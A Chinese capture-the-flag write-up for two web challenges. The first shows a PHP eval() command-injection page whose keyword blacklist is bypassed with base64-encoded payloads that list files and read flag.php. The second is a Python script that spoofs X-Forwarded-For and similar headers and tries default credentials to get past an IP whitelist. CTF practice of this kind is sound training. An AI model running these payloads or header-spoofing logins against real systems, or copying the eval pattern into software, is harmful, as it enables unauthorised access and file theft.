1.YWB_Web_命令执行
源码:
<?php
# flag in flag.php
include("flag.php");
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match("/system|exec|highlight|show_source|include|passthru|flag|php|cat|head|tail|more|less/i", $cmd)) {
if (preg_match("/base/i", $cmd)) {
eval($cmd);
} else {
die("HACK!");
}
} else {
die("HACK!!!");
}
} else {
highlight_file(__FILE__);
}
?>
未被过滤的信息收集函数:
- `scandir()` - 列目录 - `opendir()` + `readdir()` - `glob()` - `var_dump()` / `print_r()` - 输出数组
关键:
if (preg_match("/base/i", $cmd)) {
eval($cmd);
}
eval 内执行的代码只要包含 base(不区分大小写)就能通过
核心payload形式:
函数名(base64_decode('编码后的文件名'));
1.扫描当前目录
?cmd=var_dump(scandir(base64_decode('Lg==')));
// Lg== 是 “.”的 base64
scandir()返回数组,不会自动输出内容,所以加上var_dump()或者print_r()
2.读取flag.php
?cmd=readfile(base64_decode('ZmxhZy5waHA='));
未显示完整内容(可能被 PHP 解析执行了)。
3.安全输出源码
?cmd=$f=base64_decode('ZmxhZy5waHA=');$c=file_get_contents($f); echo"<pre>".htmlentities($c)."</pre>";
使用 file_get_contents + htmlentities 避免内容被解析。
或者:
?cmd=print_r(file(base64_decode('ZmxhZy5waHA=')));
2.YWB_Web_IP绕过登陆
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CTF 解题脚本:伪造 X-Forwarded-For 绕过 IP 白名单
目标:http://challenge.qsnctf.com:32909/
账号:admin / admin123
"""
import requests
import re
TARGET = "http://challenge.qsnctf.com:32909/"
USERNAME = "admin"
PASSWORD = "admin123"
# 伪造 IP 的头部列表(按优先级)
IP_HEADERS = [
{"X-Forwarded-For": "1.2.3.4"},
{"X-Real-IP": "1.2.3.4"},
{"Client-IP": "1.2.3.4"},
{"X-Client-IP": "1.2.3.4"},
]
def find_flag(text):
"""从响应中提取 flag""" # 常见 flag 格式
patterns = [
r"flag\{[^}]+\}",
r"FLAG\{[^}]+\}",
r"qsnctf\{[^}]+\}",
r"ctf\{[^}]+\}",
]
for p in patterns:
match = re.search(p, text, re.IGNORECASE)
if match:
return match.group(0)
return None
def try_login():
"""尝试用伪造 IP 登录并获取 flag"""
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
})
for ip_header in IP_HEADERS:
header_name = list(ip_header.keys())[0]
print(f"\n{'=' * 50}")
print(f"尝试头部: {header_name}")
print(f"{'=' * 50}")
# 更新 session 头部
session.headers.update(ip_header)
try:
# Step 1: GET 首页
resp = session.get(TARGET, timeout=15)
print(f"[GET] Status: {resp.status_code}, Length: {len(resp.text)}")
# 检查是否还有 IP 限制提示
if "非法IP" in resp.text or "1.2.3.4" in resp.text:
print("[-] 仍有 IP 限制提示,这个头部可能无效")
# 继续尝试其他头部
continue
else:
print("[+] IP 限制已绕过!")
# Step 2: 分析表单字段名
# 常见的字段名组合
field_combos = [
{"username": USERNAME, "password": PASSWORD},
{"user": USERNAME, "pass": PASSWORD},
{"uname": USERNAME, "pwd": PASSWORD},
{"name": USERNAME, "passwd": PASSWORD},
]
for data in field_combos:
print(f"\n尝试登录字段: {list(data.keys())}")
login_resp = session.post(TARGET, data=data, timeout=15, allow_redirects=True)
print(f"[POST] Status: {login_resp.status_code}, URL: {login_resp.url}")
# 检查 flag flag = find_flag(login_resp.text)
if flag:
print(f"\n{'=' * 50}")
print(f"[+] 成功拿到 FLAG: {flag}")
print(f"{'=' * 50}")
return flag
# 检查登录成功标志
if "welcome" in login_resp.text.lower() or "成功" in login_resp.text or "dashboard" in login_resp.text.lower():
print("[+] 登录成功!")
# 继续访问可能包含 flag 的页面
flag = find_flag(login_resp.text)
if flag:
print(f"[+] FLAG: {flag}")
return flag
else:
# 打印部分响应帮助调试
preview = login_resp.text[:500].replace('\n', ' ')
print(f"响应预览: {preview[:200]}...")
except requests.exceptions.Timeout:
print("[-] 连接超时")
except Exception as e:
print(f"[-] 错误: {e}")
print("\n[-] 未能自动获取 flag,请手动检查响应内容")
return None
if __name__ == "__main__":
flag = try_login()
if flag:
print(f"\n最终 FLAG: {flag}")
评论区
评论加载中...